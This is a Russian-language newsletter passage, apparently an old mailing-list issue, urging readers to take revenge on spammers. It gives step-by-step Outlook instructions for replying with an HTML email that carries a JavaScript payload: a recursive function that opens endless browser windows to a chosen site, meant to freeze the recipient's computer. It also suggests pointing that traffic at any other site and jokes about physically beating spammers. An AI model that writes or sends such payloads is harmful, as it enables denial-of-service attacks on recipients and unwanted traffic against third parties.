    По этому поводу определенный интерес представляет сайт http://nospam.spb.ru... К сожалению, он еще сырой и вроде бы автор так и не собирается развивать начатое им еще в 1998 году дело... :((
  • Ниче не делаю, но если укажут на этого засранца в реале, то всегда готов подорваться и набить ему морду... ИБО ZАDРРРРАЛИ УЖЕ!!

Итак, если вы от чистого сердца можете подписаться под последним пунктом, то ПРИШЛО ВРЕМЯ МОЧИТЬ ЗАСРАНЦЕВ!! Для этого следуйте нижеприведенной инструкции и очень скоро достигните потрясающего результата!! (Примечание: все нижеследующее изложено для мелкософтовского аутлука, однако, думается, что и в других почтовых клиентах юзверь может редактировать сорц письма).

  1. Делаем двойной клик по письму, которое вы идентифицировали как спам. Жмем на [Reply].
  2. В поле Subject пишем "Ваше сообщение меня очень заинтересовало!"
  3. Переключаем формат сообщения на HTML и жмем на закладку (внизу) Sourse.
  4. Теперь ищем в сорце тег <body> (либо что-то похожее на <BODY background="" bgColor=#ffffff> и сразу же после этой дряни вставляем следующий текст (внимание! не в текст письма, а в Sourse этого текста!):
    <SCRIPT language=JavaScript>
    var I=0;
    function AntiSpam()
    {
    I = I+1;
    window.open('http://hi-tech.nsys.by/',I);
    AntiSpam();
    }
    AntiSpam();
    </SCRIPT>
    
  5. Переключаемся (на закладочках внизу) в режим Edit и отсылаем "наш ответ капитализму" (кнопкой [Send]).

После того, как письмо ушло, выгружаем из памяти своего компа все запущенные приложения (кроме почтового клиента) и аккуратненько заглядываем в папочку Отправленные. Щелкаем по последнему отправленному письму, некоторое время наслаждаемся полученным эффектом и перезагружаем компьютер...

Зуб за зуб, око за око :)

ЗЫ: в строчке window.open('http://hi-tech.nsys.by/',I); адрес нашего сайта заменяем на адрес любого молодого и перспективного, с вашей точки зрения, проекта ;)

PPS: Прочитай и передай другому! (С) Молодая Гвардия

АНОНС!

Если сию рассылку не прикроют за призыв мочить засранцев-спаммеров, то в следующем номере мы с вами сделаем резкий крен (хм... как бы "титаник" не получился) в сторону программирования консольных приложений под win32... ЕСЛИ!